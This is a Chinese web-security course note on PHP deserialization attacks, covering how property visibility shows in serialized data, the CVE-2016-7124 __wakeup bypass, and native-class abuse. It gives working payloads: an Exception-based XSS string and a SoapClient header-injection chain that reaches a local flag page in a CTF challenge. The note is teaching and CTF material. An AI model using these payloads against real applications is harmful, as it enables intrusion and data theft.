Day61:WEB攻防-PHP反序列化原生类TIPSCVE绕过漏洞属性类型特征

知识点:

1、PHP-反序列化-属性类型&显示特征

2、PHP-反序列化-CVE绕过&字符串逃逸

3、PHP-反序列化-原生类生成&利用&配合

补充:如果在 PHP 类中没有实现某个魔术方法,那么该魔术方法在相应的情况下不会被自动触发。PHP 的魔术方法需要在类中显式地定义和实现,否则默认情况下不会被调用。当 PHP 在特定情况下需要调用某个魔术方法时(比如创建对象、访问属性、调用方法等),它会检查类是否实现了相应的魔术方法。如果类中没有定义该魔术方法,PHP 将不会触发该方法的自动调用。

PHP-属性类型-共有&私有&保护

1、对象变量属性:
public(公共的):在本类内部、外部类、子类都可以访问
protect(受保护的):只有本类或子类或父类中可以访问
private(私人的):只有本类内部可以使用
2、序列化数据显示:
public属性序列化的时候格式是正常成员名
private属性序列化的时候格式是%00类名%00成员名
protect属性序列化的时候格式是%00*%00成员名

本地演示序列化数据显示

demo.php

<?php
header("Content-type: text/html; charset=utf-8");
//public private protected说明
class test{
    public $name="xiaodi";
    private $age="29";
    protected $sex="man";
}
$a=new test();
$a=serialize($a);
print_r($a);
var_dump(unserialize($a));

protect 修饰的属性

父类自己访问受保护属性:类内设置接口,类外创建对象访问接口从而访问属性

class ParentClass {
    protected $protectedProperty = "Protected Property";
    
    public function getProtectedProperty() {
        return $this->protectedProperty;
    }
}

$parentObj = new ParentClass();
echo $parentObj->getProtectedProperty(); // 输出: Protected Property

子类访问父类的受保护属性:子类内设置接口,类外子类创建对象访问接口从而访问属性

class ParentClass {
    protected $protectedProperty = "Protected Property";
}

class ChildClass extends ParentClass {
    public function getProtectedPropertyFromParent() {
        return $this->protectedProperty;
    }
}

$childObj = new ChildClass();
echo $childObj->getProtectedPropertyFromParent(); // 输出: Protected Property

类外访问父类的受保护属性

class ParentClass {
    protected $protectedProperty = "Protected Property";
}

$parentObj = new ParentClass();
// 尝试直接访问父类的受保护属性
echo $parentObj->protectedProperty; // 报错: Fatal error: Uncaught Error: Cannot access protected property

类内访问就是在类内的方法访问,类外访问就是创建对象调用属性的方式

private 修饰的属性

父类访问自己的私有属性:类内设置接口,类外创建对象访问接口从而访问属性

class ParentClass {
    private $privateProperty = "Private Property";
    
    public function getPrivateProperty() {
        return $this->privateProperty;
    }
}

$parentObj = new ParentClass();
echo $parentObj->getPrivateProperty(); // 输出: Private Property

子类无法直接访问父类的私有属性:子类内设置接口,类外子类创建对象也不能访问接口从而访问属性

class ParentClass {
    private $privateProperty = "Private Property";
}

class ChildClass extends ParentClass {
    public function getPrivatePropertyFromParent() {
        // 尝试访问父类的私有属性
        return $this->privateProperty; // 报错: Fatal error: Uncaught Error: Cannot access private property
    }
}

$childObj = new ChildClass();
echo $childObj->getPrivatePropertyFromParent();

类外无法直接访问父类的私有属性

class ParentClass {
    private $privateProperty = "Private Property";
}

$parentObj = new ParentClass();
// 尝试直接访问父类的私有属性
echo $parentObj->privateProperty; // 报错: Fatal error: Uncaught Error: Cannot access private property

protect 修饰的方法

父类自己访问受保护方法:类内设置接口,类外创建对象访问接口从而访问方法

class ParentClass {
    protected function protectedMethod() {
        return "Protected Method";
    }
    
    public function callProtectedMethod() {
        return $this->protectedMethod();
    }
}

$parentObj = new ParentClass();
echo $parentObj->callProtectedMethod(); // 输出: Protected Method

子类访问父类的受保护方法:子类内设置接口,类外子类创建对象访问接口从而访问方法

class ParentClass {
    protected function protectedMethod() {
        return "Protected Method";
    }
}

class ChildClass extends ParentClass {
    public function callProtectedMethodFromParent() {
        return $this->protectedMethod();
    }
}

$childObj = new ChildClass();
echo $childObj->callProtectedMethodFromParent(); // 输出: Protected Method

类外无法直接访问父类的受保护方法:

class ParentClass {
    protected function protectedMethod() {
        return "Protected Method";
    }
}

$parentObj = new ParentClass();
// 尝试直接调用父类的受保护方法
echo $parentObj->protectedMethod(); // 报错: Fatal error: Uncaught Error: Call to protected method

private 修饰的方法

 父类访问自己的私有方法:类内设置接口,类外创建对象访问接口调用方法

class ParentClass {
    private function privateMethod() {
        return "Private Method";
    }
    
    public function callPrivateMethod() {
        return $this->privateMethod();
    }
}

$parentObj = new ParentClass();
echo $parentObj->callPrivateMethod(); // 输出: Private Method

子类无法直接访问父类的私有方法

class ParentClass {
    private function privateMethod() {
        return "Private Method";
    }
}

class ChildClass extends ParentClass {
    public function callPrivateMethodFromParent() {
        // 尝试访问父类的私有方法
        return $this->privateMethod(); // 报错: Fatal error: Uncaught Error: Call to private method
    }
}

$childObj = new ChildClass();
echo $childObj->callPrivateMethodFromParent();

类外无法直接访问父类的私有方法

class ParentClass {
    private function privateMethod() {
        return "Private Method";
    }
}

$parentObj = new ParentClass();
// 尝试直接调用父类的私有方法
echo $parentObj->privateMethod(); // 报错: Fatal error: Uncaught Error: Call to private method

总结

概念约定:

  • 什么是类内访问:通过类内的方法访问属性/方法。
  • 什么是类外访问:类外创建对象,直接访问属性/方法

protect 访问权限:只有子类,父类自己可以类内访问到,类外不行

  • protect 修饰的属性:类内设置访问属性的接口(public),类外的子类,本类创建对象调用接口从而访问属性
  • protect 修饰的方法:类内设置访问属性的接口(public),类外的子类,本类创建对象调用接口从而调用方法

private 访问权限:只有父类自己可以类内访问,类外不行

  • private 修饰的属性:类内设置接口,只有本类自己可以通过创建对象访问类内接口从而访问私有属性
  • private 修饰的方法:类内设置接口,只有本类自己可以通过创建对象访问类内接口从而访问类内私有方法

PHP-绕过漏洞-CVE&字符串逃逸

CVE-2016-7124(__wakeup:unserialize()时会被自动调用)
漏洞编号:CVE-2016-7124
影响版本:PHP 5<5.6.25; PHP 7<7.0.10
漏洞危害:如存在__wakeup方法,调用unserilize()方法前则先调用__wakeup方法,但序列化字符串中表示对象属性个数的值大于真实属性个数时会跳过__wakeup执行

CVE-2016-7124-本地Demo

__wakeup():会在反序列化后调用

代码如下:

<?php

//__wakeup:反序列化恢复对象之前调用该方法
//CVE-2016-7124 __wakeup绕过
class Test{
    public $sex;
    public $name;
    public $age;

    public function __construct($name, $age, $sex){
        echo "__construct被调用!<br>";
    }

    public function __wakeup(){
        echo "__wakeup()被调用<br>";
    }

    public function __destruct(){
        echo "__destruct()被调用<br>";
    }

 

}
$t = new Test('xiaodi','31','gay');
echo serialize($t),"<br>";
unserialize($_GET['x']);
?>

  • __construct:Test类创建对象调用
  • __wakeup:反序列化数据调用
  • __destruct:销毁对象
  • __destruct:销毁对象

绕过__wakeup():修改属性数量即可

说明:

  • 反序列化没用调用__construct()
  • 属性数错误就会绕过__wakeup()调用
  • 只有一个__destruct()函数,说明没有对象创建成功

再做个实验:PHP属性变为私有,生成序列化数据,在用共有属性的类反序列化它

<?php

//__wakeup:反序列化恢复对象之前调用该方法
//CVE-2016-7124 __wakeup绕过
class Test{
    public $sex;
    public $name;
    public $age;

    public function __construct($name, $age, $sex){
        echo "__construct被调用!<br>";
    }

    public function __wakeup(){
        echo "__wakeup()被调用<br>";
    }

    public function __destruct(){
        echo "__destruct()被调用<br>";
    }



}

$s = unserialize($_GET['x']);
echo $s;
?>

类私有属性:O:4:"Test":3:{s:9:"Testsex";N;s:10:"Testname";N;s:9:"Testage";N;}

类共有属性:O:4:"Test":3:{s:3:"sex";N;s:4:"name";N;s:3:"age";N;}

用私有属性数据反序列化共有属性类

用共有属性数据反序列化私有属性类,权限可以由大到小

[极客大挑战 2019]PHP

下载源码分析

反序列化触发调用__wakeup 强制username值

利用语言漏洞绕过 CVE-2016-7124,修改满足漏洞条件触发

POP:

<?php

class Name
{
    private $username = 'admin';
    private $password = '100';
}

$n = serialize(new name());
echo $n,"\n";
echo urlencode($n);

?>

字符串逃逸

字符变多-str1.php str1-pop.php
字符变少-str2.php str2-pop.php

PHP-原生类Tips-获取&利用&配合

参考案例:https://www.anquanke.com/post/id/264823

原生类(Native class)是指在编程语言的核心库或标准库中提供的类,这些类是语言本身提供的,而不是由用户自定义的类。原生类通常包含语言内置的功能和特性,用于解决常见的编程任务和操作。

PHP原生类使用场景:在代码中没有看到魔术方法的情况下使用的

生成原生类脚本代码:

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
} 

注:如果对方环境没有开启相关模块功能,那么是没用的。

本地Demo-XSS

测试代码:

<?php
highlight_file(__file__);
$a = unserialize($_GET['k']);
echo $a;
?>

思路:

1.先看能触发的魔术方法-echo能够触发__toString方法
2.代码中没写魔术方法调用逻辑,那就需要用到原生类
3.使用魔术方法的原生类去利用
4.获取魔术方法的原生类(使用脚本去生成,生成多少与当前环境模块开关有关
默认的原生类生成脚本有太多原生类和方法了,这里只保留__toString方法,生成其有的原生类)

无代码通过原生类Exception,Exception使用查询编写利用

通过访问触发输出产生XSS漏洞,POP链:

<?php
$a=new Exception("<script>alert('xiaodi')</script>");
echo urlencode(serialize($a));
?>

CTFSHOW-Web259

在首页及flag.php都没看到有魔术方法

调用不存在的方法触发__call(因为getflag方法是不存在的,所以调用该魔术方法)

无代码通过原生类SoapClient(只生成_call方法的原生类)

SoapClient使用查询编写利用

构造pop链

<?php
    $ua="aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-    urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
    $client=new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));
    echo urlencode(serialize($client));
?>

 

通过访问本地Flag.php获取Flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/469591.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Nacos学习笔记

Nacos官网 https://github.com/alibaba/nacos/releases https://www.bilibili.com/video/BV1q3411Z79z 1. Nacos介绍 Nacos是Dynamic Naming and Configuration Service的首字母简称&#xff0c;一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。 在这个…

进销存管理完整方案:那些让人头疼的进销存难题及解决方法!

什么是进销存管理&#xff1f;为何进销存管理在企业管理中如此重要&#xff1f;进销存管理的核心模块包括哪些&#xff1f;为何企业在进销存管理中常常遭遇前后方协作不畅、数据不同步等痛点&#xff1f;又该如何针对进销存管理痛点进行优化&#xff1f;本文将从进销存管理的基…

python线性插值

假设有一个一维数组&#xff0c;但是此数组中只有部分位置上有值&#xff0c;其它位置数据缺失&#xff0c;现在想用线性插值的方法将其填充。 示例代码&#xff1a; import numpy as np# 假设你有一个长度为171的数组&#xff0c;名为full_data&#xff0c;其中有13个数据点…

matlab软件基础

第1讲 MATLAB初步 MATLAB是矩阵实验室&#xff08;Matrix Laboratory&#xff09;的简称&#xff0c;是美国MathWorks公司出品的商业数学软件&#xff0c;用于算法开发、数据可视化、数据分析以及数值计算的高级技术计算语言和交互式环境。MATLAB和Mathematica、Maple并称为三…

面试算法-51-翻转二叉树

题目 给你一棵二叉树的根节点 root &#xff0c;翻转这棵二叉树&#xff0c;并返回其根节点。 示例 1&#xff1a; 输入&#xff1a;root [4,2,7,1,3,6,9] 输出&#xff1a;[4,7,2,9,6,3,1] 解 class Solution {public TreeNode invertTree(TreeNode root) {dfs(root);re…

电子科技大学链时代工作室招新题C语言部分---题号G

1. 题目 问题的第一段也是非常逆天&#xff0c;说实话&#xff0c;你编不出问题背景可以不编。 这道题的大概意思就是&#xff0c; Pia要去坐飞机&#xff0c;那么行李就有限重。这时Pia想到自己带了个硬盘&#xff0c;众所周知&#xff0c;硬盘上存储的数据就是0和1的二进制序…

elasticsearch安装部署

elasticsearch部署 安装elasticsearch1.部署单点es1.1.创建网络1.2.加载镜像1.3.运行 2.部署kibana2.1.部署2.2.DevTools 3.安装IK分词器3.1.在线安装ik插件&#xff08;较慢&#xff09;3.2.离线安装ik插件&#xff08;推荐&#xff09;3.3 扩展词词典3.4 停用词词典 4.部署es…

列表的常用操作

列表的常用操作&#xff08;方法&#xff09; 列表除了可以&#xff1a; 定义使用下标索引获取值 此外列表也提供一些列功能&#xff1a;插入元素删除元素清空元素修改元素统计元素个数 等等功能&#xff0c;这些功能我们都称之为&#xff1a;列表的方法 列表的查询功能&…

七:分布式

一、Nginx nginx安装 【1】安装pcre依赖 1.下载压缩包&#xff1a;wget http://downloads.sourceforge.net/project/pcre/pcre/8.37/pcre-8.37.tar.gz 2.解压压缩包&#xff1a;tar -xvf pcre-8.37.tar.gz 3.安装gcc&#xff1a;yum install gcc 4.安装gcc&#xff1a;yum ins…

Java的图书管理系统,确实有两把斧子 ! ! !

本篇会加入个人的所谓‘鱼式疯言’ ❤️❤️❤️鱼式疯言:❤️❤️❤️此疯言非彼疯言 而是理解过并总结出来通俗易懂的大白话, 小编会尽可能的在每个概念后插入鱼式疯言,帮助大家理解的. &#x1f92d;&#x1f92d;&#x1f92d;可能说的不是那么严谨.但小编初心是能让更多人…

HCIE考证心得 | 在云校的学习收获颇多

我是来自深圳信息职业技术学院22级现代移动通信3-3班的冯同学&#xff0c;我在2023年12月12日通过了华为认证Cloud Service HCIE。在此&#xff0c;我将分享考证中的心得体会给大家。 备考的六点建议 一是要细心严谨&#xff0c;做实验时要全神贯注&#xff0c;明确实验要求…

基于python考试分析系统的设计和实现-flask-django-nodejs-php

随着电子技术的普及和快速发展&#xff0c;线上管理系统被广泛的使用&#xff0c;有很多商业机构都在实现电子信息化管理&#xff0c;图书推荐也不例外&#xff0c;由比较传统的人工管理转向了电子化、信息化、系统化的管理。   本文的重点是对考试分析系统展开了详细的描述&a…

填坑记5:安装imdb库失败 ERROR: No matching distribution found for imdb

收录于《填坑记》 一、问题 pip install imdb在网上查找原因&#xff0c;有以下几种可能&#xff1a; 库名拼写错误&#xff1a;首先确认你要安装的库名是否正确拼写。如果是想使用IMDb的数据&#xff0c;你可能在寻找的是 IMDbPY 这个库&#xff0c;而不是 imdb。库不存在&a…

软件开发项目管理/研发项目管理软件:国产EDA工具厂商行芯科技上线奥博思PowerProject项目管理软件平台

国内领先的EDA工具链提供商杭州行芯科技有限公司&#xff08;以下简称&#xff1a;行芯科技&#xff09;与北京奥博思软件技术有限公司达成战略合作&#xff0c;奥博思软件将基于PowerProject项目管理系统助力行芯科技实现研发项目的全生命周期管理&#xff0c;提升管理效能&am…

B010-springcloud alibaba 分布式事务 Seata

目录 分布式事务基础事务本地事务分布式事务分布式事务的场景 分布式事务解决方案全局事务/两阶段提交可靠消息服务最大努力通知TCC事务 Seata介绍Seata实现分布式事务控制案例基本代码修改order微服务OrderSeataControllerOrderServiceImpl5注释容错相关代码ProductClient 修改…

Avalon总线学习

Avalon总线学习 avalon总线可以分为&#xff1a; Avalon clock interface Avalon reset interface Avalon Memory mapped interface Avalon iterrupt interface Avalon streaming interface Avalon tri-state conduit interface Avalon conduit interface 1、Avalon c…

管道(acwing,蓝桥杯,二分)

题目描述&#xff1a; 有一根长度为 len 的横向的管道&#xff0c;该管道按照单位长度分为 len 段&#xff0c;每一段的中央有一个可开关的阀门和一个检测水流的传感器。 一开始管道是空的&#xff0c;位于 Li的阀门会在 Si 时刻打开&#xff0c;并不断让水流入管道。 对于位…

openEuler 22.03(华为欧拉)一键安装 Oracle 11G(231017)单机版

Oracle 一键安装脚本&#xff0c;演示 openEuler 22.03 一键安装 Oracle 11GR2 单机版过程&#xff08;全程无需人工干预&#xff09;&#xff1a;&#xff08;脚本包括 ORALCE PSU/OJVM 等补丁自动安装&#xff09; ⭐️ 脚本下载地址&#xff1a;Shell脚本安装Oracle数据库 …

高端嵌入式底层技术揭秘:《ARM汇编与逆向工程》

ARM架构简介 与传统的CISC&#xff08;Complex Instruction Set Computer&#xff0c;复杂指令集计算机&#xff09;架构相比&#xff0c;Arm架构的指令集更加简洁明了&#xff0c;指令执行效率更高&#xff0c;能够在更低的功耗下完成同样的计算任务&#xff0c;因此在低功耗…